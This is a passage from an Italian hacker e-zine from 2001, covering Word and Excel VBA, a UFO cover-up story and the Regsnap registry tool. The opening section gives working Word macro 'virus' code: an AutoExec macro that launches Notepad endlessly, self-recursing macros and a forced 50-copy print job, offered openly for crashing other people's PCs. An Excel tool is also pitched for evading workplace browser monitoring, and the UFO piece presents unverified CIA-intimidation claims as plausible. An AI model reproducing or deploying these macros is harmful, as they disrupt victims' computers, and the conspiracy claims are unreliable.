Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph ActiveDocument.PrintOut True, , wdPrintAllDocument, , , , , "50" MACRO: PARTE 4° "PROGRAMMAZIONE HARD" Ok! Questa parte è dedicata alla programmazione Hard, ovvero le bastardate che possiamo fare con Visual Basic.... ;) Iniziamo con un comando che ci consente di inviare sequenze di tasti ad un programma, senza dire niente all'utente! L'istruzione invia sequenze come combinazioni di tasti (per esempio ALT+F4 che chiude la calcolatrice), ed è "SendKeys" Sub pippo() SendKeys "Inserire qui le parole o l'azione da compiere" End Sub Moolto semplice! Ma come si può, per esempio, aprire un'applicazione per poi utilizzare la "SendKeys"? Con questo comando che va memorizzato così com'è, dato che è un pò complicato, ma se voi usate il copia-incolla sarà elementare! Dim ReturnValue, I ReturnValue = Shell("IL NOME DEL PROGRAMMA", 1) ' Esegue il programma AppActivate ReturnValue ' Attiva il programma SendKeys "LA SEQUENZA DI TASTI DA ESEGUIRE" Qui ho inserito diretto anche la "SendKeys". Ok, grazie per questa lezione di vita, ma mò che faccio? Mò che faccio......rompiamo qualche pc? Vi ricordate (nella prima parte) quando ho detto che c'era il modo di eseguire una macro da un'altra? Allora non ne avevo parlato, ma ora ve lo posso spiegare, basta infatti, prima di "End Sub" inserire: Sub pippo() Application.Run MacroName:="Nome della macro, ma SENZA le parentesi()!!" 'esempio Application.Run MacroName:="topolino" 'capito? End Sub Forse qualcuno di voi ci è già arrivato.......cosa succederebbe se noi facessimo: Sub pippo() Application.Run MacroName:="pippo" End Sub Eh-eh-eh...... La macro pippo() verrebbe eseguita continuamente, fino a che l'utente non stacca la presa del computer o fino a quando il pc collassa (ed io spero che sia così stupido da scegliere la prima opzione!) Prima di mettere il virus di questa sezione, vi sparo tutti i nomi dei tasti per la "SendKeys": Tasto Codice BACKSPACE {BACKSPACE}, {BS}, o {BKSP} INTERR {BREAK} BLOC MAIUSC {CAPSLOCK} CANC {DELETE} o {DEL} FRECCIA GIÙ {DOWN} FINE {END} INVIO {ENTER}o ~ ESC {ESC} AIUTO {HELP} HOME {HOME} INS {INSERT} o {INS} FRECCIA SINISTRA {LEFT} BLOC NUM {NUMLOCK} PGGIÙ {PGDN} PGSU {PGUP} FRECCIA DESTRA {RIGHT} BLOC SCORR {SCROLLLOCK} TAB {TAB} FRECCIA SU {UP} F1 {F1} F2 {F2} F3 {F3} F4 {F4} F5 {F5} F6 {F6} F7 {F7} F8 {F8} F9 {F9} F10 {F10} F11 {F11} F12 {F12} F13 {F13} F14 {F14} F15 {F15} F16 {F16} Per specificare una combinazione di tasti con MAIUSC CTRL e ALT, dovete mettere prima del codice del tasto uno o più dei seguenti codici: Tasto Codice MAIUSC + CTRL ^ ALT % Per dire che MAIUSC , CTRL e ALT vanno tenuti premuti mentre si premono altri tasti, bisogna racchiudere il codice dei tasti tra parentesi. Per indicare, ad esempio, che occorre premere MAIUSC mentre si premono E e C, si specifica "+(EC)" Per indicare che occorre tenere premuto MAIUSC mentre si preme E quindi rilasciare MAIUSC e premere C, si fa: "+EC" Per specificare la ripetizione di un tasto, vi utilizzate la forma {tasto numero}: inserite uno spazio tra tasto e numero. {LEFT 42} significa premere il tasto freccia SINISTRA 42 volte {h 10} significa premere H dieci volte. E i nomi dei programmi????? Programma Nome Excel EXCEL.EXE Word WINWORD.EXE Outlook OUTLOOK.EXE Word-Pad WORDPAD.EXE Internet explorer IEXPLORE.EXE Microsoft photo editor PHOTOED.EXE Power-Point POWERPNT.EXE Notepad NOTEPAD.EXE Pulitura disco CLEANMGR.EXE Calcolatrice CALC.EXE Alcuni progammi hanno bisogno della stringa completa ("C:\....\programmi\....\..."), per gli altri basta inserire il nome ("NOTEPAD.EXE"). Ed ora il viruzzzzzzzzzzzzzz: Sub pippo() Dim ReturnValue, I ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad. AppActivate ReturnValue ' Attiva notepad. SendKeys "V I R U S ! ! ! ", True 'Spara la scritta SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True Application.Run MacroName:="pippo" Esecuzione automatica??????????? Sub AutoExec() Dim ReturnValue, I ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad. AppActivate ReturnValue ' Attiva notepad. SendKeys "V I R U S ! ! ! ", True 'Spara la scritta Dim ReturnValue, I ReturnValue = Shell("NOTEPAD.EXE", 1) ' Esegue notepad. AppActivate ReturnValue ' Attiva notepad. SendKeys "V I R U S ! ! ! ", True 'Spara la scritta SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True SendKeys "{ENTER}", True SendKeys "V I R U S ! ! ! ", True Application.Run MacroName:="AutoExec" Ora appena il coglione apre word, Notepad si apre automatico infinitamente. ATTENZIONE!!!!! Il comando non funziona se mettete 2 comandi ("Dim Value") come sopra nella stessa macro, perchè Visual Basic è molto stupido e non riconosce quale delle due deve essere eseguita per prima. TUTTO CHIARO??? +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 | | CODING 4 DUMMiEZ: EXCEL:USiAM0 I F0RM .................... [Mysha] 0x14/0x25 | +-------------------------------------------------------------------------------+ Ben ritrovati a tutti, questa puntata la dedicheremo ai Form e al loro utilizzo. Un form non e' nient'altro che una finestra creata da noi che ci permettera' di semplificare delle operazioni per un utente. Ho creato un programma, che oltre ad essere utile nell'insegnarvi ad usare un form, vi sara' di ottimo utilizzo per importare dati da una pagina web e, chi come me non puo' aprire i browser perche' magari controllate a vista, possiamo fregarli in questa maniera:) Solo che ci serve per guardare pagine e non scrivere in campi e dobbiamo scrivere il nome dell'HTML esatto, se una pagina contiene frame, non saranno importati. altro...beh, se magari mi darete una mano, lo aggiorneremo assieme:) e continueremo per far diventare il nostro programmino di Excel una vero e proprio browser in miniatura:) Di seguito ci sara' il programma da copiare nel modulo e, i FORM da disegnare. Innanzitutto creeremo un nuovo file di excel contenente 2 fogli. Il primo lo chiameremo "Connessione" e il secondo "Dati". Poi andremo nell' editor di visual basic e dal menu' inserisci sceglieremo UserForm. Inseriremo nel nostro Form 2 ComboBox (Casella combinata) e 2 CommandButton (pulsanti di comando). ------------------------------------------ IUserForm1 I ------------------------------------------ I I I ------------- ------------- I I I Combobox1 I I Combobox2 I I I ------------- ------------- I I I I ------------------ ---------------- I I I CommandButton1 I I ComboButton2 I I I ------------------ ---------------- I ------------------------------------------ Per scrivere il codice da inserire all'interno dovremo scegliere dal menu "visualizza" la voce CODICE. Adesso copieremo quello che segue: -----Inizia a copiare------------------ Private Sub CommandButton1_Click() nomehost = ComboBox1 tipo = ComboBox2 UserForm1.Hide 'nasconde il form Unload UserForm1 'scarica il form End Sub Private Sub CommandButton2_Click() verifica = 1 Unload UserForm1 'scarica il form UserForm1.Hide 'nasconde il form End Sub Private Sub UserForm_activate() CommandButton2.Caption = "Annulla" 'scrive il nome che compare sul pulsante2 CommandButton1.Caption = "Ok" 'scrive il nome che compare sul pulsante1 For x = 1 To 65536 'cicla per compilare il combobox1 loca = "A" & x Range(loca).Select sito = ActiveCell If sito = "" Then GoTo esci ComboBox1.AddItem sito 'aggiunge la variabile memorizzata nel combobox1 Next x 'ripete il ciclo esci: For x = 1 To 65536 'come sopra ma compila il combobox2 loca = "B" & x Range(loca).Select sito = ActiveCell If sito = "" Then GoTo escib ComboBox2.AddItem sito Next x escib: End Sub -----Finisci di copiare---------------- Fatto questo, andremo a compilare anche ad inserire un modulo con il codice che segue: -----Inizia a copiare------------------ Public verifica As Double Public nomehost As String Public tipo As String Sub datihost() inizio: If ActiveSheet.QueryTables.Count >= 1 Then ActiveSheet.QueryTables(1).Delete: GoTo inizio 'se il foglio contiene altre query le chiude tutte verifica = 0 Sheets("dati").Select Load UserForm1 'carica il FORM1 UserForm1.Show 'visualizza il FORM1 If verifica = 1 Then GoTo escimi 'CONNETTE stringaconn = "URL;" & tipo & nomehost Sheets("Connessione").Select With ActiveSheet.QueryTables.Add(Connection:=stringaconn, _ Destination:=Range("A1")) Application.DisplayAlerts = False .Refresh (False) End With 'FINE CONNETTE Sheets("dati").Select For x = 1 To 65536 loca = "A" & x Range(loca).Select sito = ActiveCell If sito = "" Then GoTo inserisci If sito = nomehost Then GoTo skippa Next x inserisci: ActiveCell = nomehost skippa: For x = 1 To 65536 loca = "b" & x Range(loca).Select modo = ActiveCell If modo = "" Then GoTo inseriscib If modo = tipo Then GoTo skippab Next x inseriscib: ActiveCell = tipo skippab: Sheets("Connessione").Select ActiveSheet.QueryTables(1).Delete escimi: End Sub -----Finisci di copiare---------------- Bene bene...il lavoro e' fatto. Ora analizzeremo un paio di cosette. La definizione prima della riga SUB serve per dire che le variabili specificate (con il comando PUBLIC) sono di tutto il programma, quindi non verra' perso il loro valore nel richiamare il form e viceversa. La seconda parte "As Double" o "As String" identifica se sono variabili numeriche o variabili stringa. In questo programma sfrutteremo le potenzialita' di visual basic di aprire una connessione con una query e, reperiremo i dati dall'host specificato. Dimenticavo... Quando eseguirete il programma, dovrete scrivere nel combobox1 il tipo di host (FTP:// o HTTP://) e nel combobox2 il nome del sito (www.ondaquadra.cjb.net). Ecco che per magia appare la faccia del sito. In caso che ci siano reindirizzamenti (come in ondaquadra, vi segnalera' il nome del sito da inserire nel combobox2:) Logicamente non importera' le immagini e gli applet java, ma solo il testo. Per intanto vi saluto, sono stanca nello scrivere...(ho scritto tutto in 1 giorno..pant pant...). Per delucidazioni, chiarimenti o quant'altro..SCRIVETEMI!!! Baci Baci Mysha <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [TWiLiGHT Z0NE] #02 - 18/06/2001 | | CAS0 M0NGUZZi: DEPiSTAGGi E C0VER-UP ............ [Alfredo Lissoni] 0x15/0x25 | +-------------------------------------------------------------------------------+ L'INCONTRO SUL BERNINA Era la mattina del 31 luglio 1952 e Giampiero Monguzzi, un ingegnere della società Edison, era in gita con la moglie Pinuccia Radaelli sui monti del Bernina (SO), sopra il ghiacciaio Scerscen, di ritorno dal rifugio Martinelli. Tutt'a un tratto, nel bel mezzo della scarpinata, Monguzzi avvertì una brezza gelida, che sembrava produrre un rumore simile a quello delle sartie di un antico veliero; poi, improvvisamente l'ambiente circostante diventava curiosamente silenzioso. "Ero vicinissimo a mia moglie", dichiarò in seguito Monguzzi, "ma non sentivo più la sua voce; gridavo e mi accorgevo che lei non mi udiva. E vedevo anche che mia moglie apriva la bocca, ma non veniva fuori la voce. Era un 'silenzio compatto', un 'vuoto' da non stare in piedi. Mia moglie mi guardò spaventata e mi si attaccò ad un braccio". Subito dopo questa sensazione di "silenzio assoluto", tipica di molti avvistamenti e persino di alcuni rapimenti UFO, i Monguzzi avvistavano un grande oggetto scintillante salire dalla parte inferiore del ghiacciaio e posarsi silenziosamente sulla neve. Era un enorme piatto argenteo, largo almeno dieci metri. Pur spaventato, Monguzzi avanzò di alcuni metri, correndo a ripararsi dietro una roccia. "Avevo a tracolla la macchina fotografica e, cercando di vincere il terrore che mi paralizzava, la sollevai, guardai nel mirino e scattai. Non sentii il solito clik. Forse non avevo fatto nessuna fotografia. Rimasi a guardare. Il disco restò per pochi secondi ancora senza vita". In quel momento Monguzzi si accorse che accanto al disco vi era uno strano essere, che indossava una tuta di pelo. "Vidi l'uomo coperto da uno scafandro dai riflessi metallici venire verso di me. L'istinto mi suggerì di scappare, ma la paura mi teneva inchiodate le gambe. Forse non mi aveva visto. Infatti l'uomo (almeno credo sia stato un uomo) andava verso l'esterno della circonferenza del disco. Lo percorse tutto intorno come se stesse eseguendo un'ispezione dell'apparecchio. Si fermava ogni due o tre passi guardando verso l'alto del velivolo. Camminava molto impacciato in quello scafandro che aveva i contorni non ben definiti e sembrava quasi peloso. Aveva in mano uno strumento cilindrico simile ad una torcia elettrica. Non so quanto sia durato tutto questo, forse cinque minuti da quando il disco si era appoggiato sul ghiacciaio, ma non posso stabilire con esattezza un tempo preciso". L'essere, a ispezione terminata, rientrò presumibilmente nel disco da un ingresso laterale, invisibile dal punto di osservazione di Monguzzi, visto che ad un certo momento l'UFO si alzò in volo, con una parte che si mise a ruotare, e sfrecciò via. In quel momento Monguzzi scattò altre due fotografie. "A mano a mano che il disco si allontanava sentivo tornare la vita intorno a me. Chiamai mia moglie e la voce veniva fuori. Il vento aveva ricominciato a fare quella strana musica come tra le sartie di un veliero". A quel punto i due, pur se spaventati, ebbero la forza di avvicinarsi al luogo dell'atterraggio; non trovarono però alcuna traccia della discesa del disco, neanche un'impronta. "Ma nemmeno noi, del resto, lasciavamo impronte sul ghiaccio. Ma il disco doveva avere un peso straordinario, era impossibile non avesse lasciato nemmeno un segno. Se mi si chiedesse come faceva a volare, penso ad una forza magnetica potentissima e contraria a quella di gravità terrestre. Solo quella forza silenziosa poteva assorbire le onde sonore e, respingendo la Terra, permettere il sollevamento dell'apparecchio", dichiarò in seguito l'ingegnere. "Comunque, quando il disco lasciò lo Scerscen superiore, lo fece ad una velocità fra i 200 ed i 300 chilometri orari". MONGUZZI CONFESSA IL FALSO Alcune settimane dopo Monguzzi divulgò la propria storia sulla stampa. Il clamore suscitato fu fortissimo. Fra ottobre e novembre importanti organi di stampa come Epoca, L'Europeo, il Popolo, nonché le radio e la RAI ne parlarono diffusamente. La Tribuna Illustrata dedicò addirittura una copertina all'avvistamento e l'opinione pubblica si divise tra scettici e credenti. La storia varcò i confini nazionali. Un'agenzia francese si disse disponibile ad acquistare le foto per cinque milioni (una cifra enorme, per l'epoca); una pubblicazione americana si disse parimenti disponibile ed una casa cinematografica propose persino di girare un documentario sull'incontro ravvicinato. Ma quando ormai Monguzzi era all'apice della popolarità, il 22 ottobre, ospite presso la redazione milanese di Radio Sera, confessò pubblicamente di avere creato un falso! Le foto erano state realizzate in realtà utilizzando un modellino di cartone ed un pupazzetto; la truffa era stata architettata assieme a due suoi cugini, Mario e Alfredo Gaiani, con la collaborazione di una guida alpina dello Scerscen. Monguzzi ammise di avere realizzato il falso per beffare i giornalisti, per, scrisse la stampa, "dimostrare che lui, aspirante giornalista, aveva i numeri per essere assunto e non respinto, come era avvenuto sino al giorno prima". A dimostrazione di quanto affermato, Monguzzi si fece fotografare con il modellino di cartone ed il pupazzetto che simulava il visitatore alieno. ANCHE PINUCCIA CROLLA Moriva così il caso Monguzzi. E moriva tra le polemiche, visto che diversi ufologi sottolinearono ripetutamente, e invano, che i modellini mostrati da Monguzzi non corrispondessero alla perfezione a quanto si vedeva nelle foto. Ma, come scrisse il quotidiano Il Popolo del primo novembre 1952, in quei giorni fu poi "la signora Pinuccia a mandare tutto, con perfetta tempestività, a carte quarantotto. Ella ha avuto legittimamente paura: troppa gente si muoveva e troppi milioni per un cartone, un pupazzo e un mucchietto di terra. La donna tremava già a vista d'occhio quando il redattore di un quotidiano le accennò al fatto che l'intero racconto, se smentito, avrebbe potuto essere preso per un tentativo di truffa. E così la donna, a un ennesimo interrogatorio, è scoppiata a piangere rivelando il trucco". UN PROTAGONISTA VUOTA IL SACCO Termina così, ufficialmente, l'affare del Bernina. Ma il caso è ben lungi dall'essere chiuso. Già perché, grazie a quei colpi di fortuna che occasionalmente capitano anche agli ufologi, siamo riusciti a rintracciare uno dei "complici" di Monguzzi, la guida dello Scercen. Nel bel mezzo di un'indagine su certe strane tracce in un campo della Lombardia il sottoscritto e l'ufologo Michele Esposito, della sezione CUN di Bollate (MI), venivamo a contatto con il signor Antonio Sprecapane. Anziano ma arzillo e vigoroso come un ventenne, Sprecapane ci racconta di avere vissuto in Australia per circa dieci anni. Si è interessato agli UFO, che ha avvistato personalmente sopra la città di Perth, ma soprattutto ci confessa, a sorpresa, di essere stato uno dei protagonisti del caso del Bernina. "Conoscevo Monguzzi", ci racconta Sprecapane, "perché lavoravamo entrambi alla Edison Gas; inoltre eravamo tutti e due amanti della montagna. Ricordo che un giorno Monguzzi mi chiamò dicendomi che voleva essere aiutato nella realizzazione di un bozzetto di modello dello Scerscen Superiore. Mi disse che doveva fare vedere che aveva fotografato un disco volante sulla bocca dello Scerscen, al limite della seraccata. Mi disse proprio così. Doveva dimostrare che era un bravo fotografo, questa fu la sua motivazione". Quando chiediamo a Sprecapane se le foto fossero false, il nostro uomo scuote la testa. "Onestamente, io ho visto i negativi originali. Nelle prime sequenze si vedevano Monguzzi e la moglie sulla montagna, a metà c'erano le foto del disco, e poi ancora la montagna. Dunque, le fotografie erano state scattate sul Bernina e non a casa. Tra l'altro, riconobbi chiaramente la località. La prima foto mostrava l'UFO in volo sul Piz d'Argent, la seconda sulla cresta del Rosé, le altre davanti al Bernina. Non capisco perché Monguzzi, con il mio aiuto, abbia voluto ricreare un modellino del Bernina. Anche perché, se ci fate caso, non è una cosa così semplice. Abbiamo utilizzato della terra e del gesso, per dare l'impressione del ghiaccio. Abbiamo rivoltato il terreno per simulare le montagne ma, se osservate le foto del disco sul ghiacciaio, vi renderete conto che è impossibile ricreare la stessa pendenza. Le foto sono state scattate chiaramente da una persona che era molto più in basso rispetto al disco. Dato che, quando ricreammo il 'plastico' del Bernina, lo facemmo sul terreno, fu impossibile fotografare così dal basso. Tra l'altro, le montagne del plastico erano uno sgorbio, con la terra che cercava di simulare la roccia. Dopo che uscì la smentita, Monguzzi mi fece vedere il modellino del disco, era un cono di cartone tenuto assieme dallo scotch. Dell'alieno, mi disse che era un pupazzo assemblato con lana e filo di ferro. Mi sembrò una spiegazione ridicola". Ma perché dunque Monguzzi aveva preferito passare per visionario? SCATTA IL COVER UP Secondo la stampa, l'ingegnere monzese, pur di mettere fine alle processioni di curiosi, giornalisti e critici che ogni giorno affollavano la sua casa e che premevano perché confessasse il falso, avrebbe preferito ammettere di avere frodato. Una spiegazione che non convince troppo Sprecapane. "Quando uscirono le foto, si scatenò un putiferio. Monguzzi venne interrogato da agenti della CIA e dai nostri servizi segreti; mi disse che le sue foto erano state ingrandite ad altezza di parete dall'Aviazione (non mi disse di quale Paese). Era veramente terrorizzato. Ricordo che ad un certo momento mi disse di tirarmi fuori dalla vicenda, che era nei pasticci. Io, che avevo famiglia, preferii obbedire. Del resto, Monguzzi la pagò cara. Venne cacciato dalla Edison. I dirigenti, che in un primo momento facevano la fila per farsi fotografare dalla stampa assieme a lui, dopo la smentita si resero introvabili. E lo licenziarono. Ricordo che dopo una nostra intervista alla RAI fummo interrogati, mi chiesero se nelle foto, ormai dichiarate false, riconoscessi realmente il Bernina; fui torchiato anche dai dirigenti della Edison, che volevano sapere che ruolo avessi avuto nella vicenda. In un'altra occasione, dopo una conferenza sugli UFO organizzata dal Club Alpino Operaio alle Tre Cime di Lavaredo, venni avvicinato da alcuni uomini in borghese, che mi domandarono se io avessi visto qualcosa, se pensavo che il caso fosse vero. Non si presentarono e non so dire chi fossero. Erano italiani, o almeno parlavano italiano, ma davano l'impressione di essere agenti segreti. Lo capii dal modo con cui chiedevano; avevano il tipico atteggiamento di chi è autorizzato ad ottenere con prepotenza. Nei loro modi non c'era gentilezza..." IL FALSO DI LAVAREDO Monguzzi minacciato dalla CIA, dunque? É possibile. L'episodio di Lavaredo è forse la chiave di volta per risolvere il mistero. Già perché Sprecapane sostiene che Monguzzi avrebbe realizzato il plastico prima ancora di divulgare le foto! Prima, e non dopo. Ciò significherebbe che l'ingegnere monzese, prevedendo delle noie, si sarebbe costruito una via di fuga. Ed ecco che il 6 novembre, sulla rivista Oggi, venivano pubblicate delle fotografie, spacciate per un disco volante e un alieno sulle Tre Cime di Lavaredo, molto simili al caso Monguzzi. "Le foto sono false", dichiarava la rivista, "e servono a dimostrare la facilità nel realizzare trucchi". Il modellino del disco volante, un cono con antenna, ricorda molto da vicino l'UFO di Monguzzi, e chiaramente è stato ricavato da un disegno rilasciato dall'ingegnere monzese alla stampa un mese prima. Lo sfondo simula il Bernina. Non possiamo escludere che esse siano le "seconde" foto realizzate da Giampiero, con il plastico di Sprecapane. Il tutto, nell'ottica di una manovra difensiva, a costo della perdita della propria credibilità. Cosa temeva dunque Monguzzi? La risposta è forse in una sua dichiarazione al giornale Il Popolo del 23 ottobre 1952: "Ho pubblicato le foto solo due mesi dopo l'avvistamento in quanto avevo paura. Sono giovane e ho un figlio, e a 29 anni non volevo essere sequestrato o ucciso. Perché, sebbene sia personalmente convinto che si trattasse di un abitante di un altro pianeta, pure il disco poteva appartenere ad una grande Potenza che avrebbe fatto tutto il possibile per eliminare l'indiscreto scopritore di un formidabile segreto militare..." UNA FINE INSPIEGABILE É questa la soluzione dell'enigma del Bernina? Monguzzi aveva realmente fotografato un prototipo top secret ed era stato poi costretto a passare per imbroglione, pena la morte? O più semplicemente era incappato nel classico debunking e cover up che toccò, negli anni della Guerra Fredda, a molti sfortunati UFOtestimoni? Si era del resto negli anni Cinquanta e l'America aveva messo in pista i suoi agenti della disinformazione migliori. Prevedendo noie, Monguzzi si era infine costruito una smentita credibile? Non lo sappiamo. Il caso Monguzzi presenta ancora, a tanti anni di distanza, molti lati oscuri. Ma mi si permetta di dire che uno dei casi storici, oramai bollato in tutte le pubblicazioni come falso, potrebbe al limite essere invece autentico. Certo, per saperne di più occorrerebbe parlarne con il diretto interessato, ma Monguzzi sembra sia sparito dalla circolazione. Quando ne chiedemmo notizie a Sprecapane, ci fu risposto: "Non ho notizie precise, ma uno dei nostri ex colleghi dell'Edison mi ha detto che gli era successa una cosa strana, che era morto in un curioso incidente d'auto...". Bibliografia AA.VV - UFO in Italia 1, Tedeschi Editore. P. Nobile, UFO, Mondadori. Oggi, 6.11.52; Giornale d'Italia 24.10.54, Popolo 23.10.52 e 1.11.52. A.Schneider-H.Malthaner, Il segreto degli UFO, De Vecchi. BOX IL PARERE DEL CONSOLE PEREGO Sul caso Monguzzi così scrisse il console italiano Alberto Perego, accanito ufologo, nel libro "L'aviazione di altri pianeti opera tra noi": "Queste fotografie sono tra le più belle esistenti; di indubbia autenticità. Furono immediatamente esaminate dai servizi segreti di vari Paesi che se ne procurarono facilmente copia gratuita dallo stesso Monguzzi, che le esibiva senza contropartita alcuna. Appena però in possesso delle fotografie, i servizi segreti furono d'accordo per dichiarale false, seguendo la nota politica delle smentite. Ma, lo ripeto ancora una volta, queste fotografie sono autentiche e di estremo interesse". +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #02 - 18/06/2001 | | REGSNAP ...................................................[JEYoNE] 0x16/0x25 | +-------------------------------------------------------------------------------+ E' domenica notte, sono le 2.08 minuti, e domani mattina mi devo svegliare alle 6 per andare in caserma. Il mio pacchetto di marlboro sta piangendo, ne è rimasta soltanto una, e io non so per quanto resisterò davanti a questo monitor tutto scassato ( a proposito se volete fare una colletta per comprarmi un monitor nuovo ne sarei ben felice, visto che il ministero della difesa mi passa soltanto 180000 £ al mese e io con quelle non ci compro neanche le sigarette! :] ). °Musica ascoltata : Black sunday- Cypress Hill (rigorosamente con le cuffie visto che di là c'è la mamma che dorme, e se sa che sono sveglio a quest'ora mi taglia le vene per il lungo!) °Consumo : 6 Marlboro rosse, una sigaretta con il Samson, una MONK'S, un plumcake e una lattina di sprite. °Tempo impiegato : Non lo so, per ora non molto, vedremo alla fine. °Un saluto speciale a... tutti, non ho voglia di scrivere tutti i nick delle persone che voglio salutare altrimenti sarebbe più lunga la lista dei nomi che il tutorial. #### DISCLAIMER #### IO NON SO NIENTE, NON C'ERO E SE C'ERO DORMIVO, L'ERBA DEL VICINO E' SEMPRE PIU' VERDE, MOGLIE E BUOI DEI PAESI TUOI, DONNE E MOTORI, GIOIE E DOLORI, SE COMBINATE QUALCHE CAZZATA SIETE I SOLI RESPONSABILI, ANCHE PERCHE' IO NON VI HO DETTO NULLA, E VISTO CHE I GUAI NON VENGONO MAI DA SOLI STATE BEN ATTENTI A QUELLO CHE ANDATE A COMBINARE.... Lo so, non centra un cazzo questo con un disclaimer, ma non sapevo cosa scrivere, i disclaimer li scrivono tutti... e allora ho voluto scrivere qualcosa anch'io! :] #### #### In questo tutorial andremo a spiegare l'utilizzo di un programmino tanto bello quanto efficace di nome Regsnap. Andremo ad analizzare tutte le opzioni di questo programma, e ne capiremo l'utilizzo. Il programma in questione e la versione 2.71, non so se ne sono state rilasciate versioni più recenti, io sul pc ho questa versione, e che vi vada bene o no spiegherò come si usa questa! :] Prima di cominciare andiamo a spiegare che cos'è il regsnap e che cosa fa. Regsnap è un programmino che praticamente "fotografa" il registro di sistema, confronta i due file .rgs e ne segnala i cambiamenti. Di solito può essere utilizzato per andare a vedere che cosa un programma modifica quando lo andiamo ad installare. Il programma oltre a vedere quali chiavi sono state modificate e quali sono state aggiunte nel registro, mostra anche le variazioni che ci sono state nelle directory C:\WINDOWS e C:\WINDOWS\SYSTEM, nei file win.ini, system.ini, autoexec.bat e config.sys. Ma ora bando alle ciance e partiamo.... Apriamo il programma e, come per magia, ci appare subito un wizard che già facilita le nostre operazioni. Come possiamo vedere, oltre ad esserci una lista dei recenti documenti aperti (se è la prima volta che lo usate, ovviamente, non avrete nessun nome che identifica i documenti recenti, e non serve che spieghi il perchè, vero? :])ci sono 3 tasti, diciamo 2 perchè uno è quello per chiudere il wizard... Il primo è "new snap", cliccando su questo tasto ci appare un altra finestra di dialogo in cui possiamo scegliere se "fotografare" tutto, soltanto il registro oppure il registro di una macchina in remoto, ma questo funziona soltanto nella versione Pro. Il secondo tasto, "compare", esegue il paragone tra due file per controllarene le modifiche. Cliccando su questo tasto si apre un altro tipo di finestra, in cui possiamo scegliere i due file da paragonare, le opzioni del resoconto, e qui possiamo scegliere se utilizzare il "key names only", che non fa nient'altro che visualizzare soltanto i nomi delle chiavi del registro che sono state modificate, o il "key name and key values", che fa vedere anche che valori sono stati modificati, creando, se si vuole, un file .reg per ripristinare le chiavi del registro modificate. A questo punto possiamo scegliere il nome da dare al file di responso che verrà creato dal paragone dei due file, e possiamo 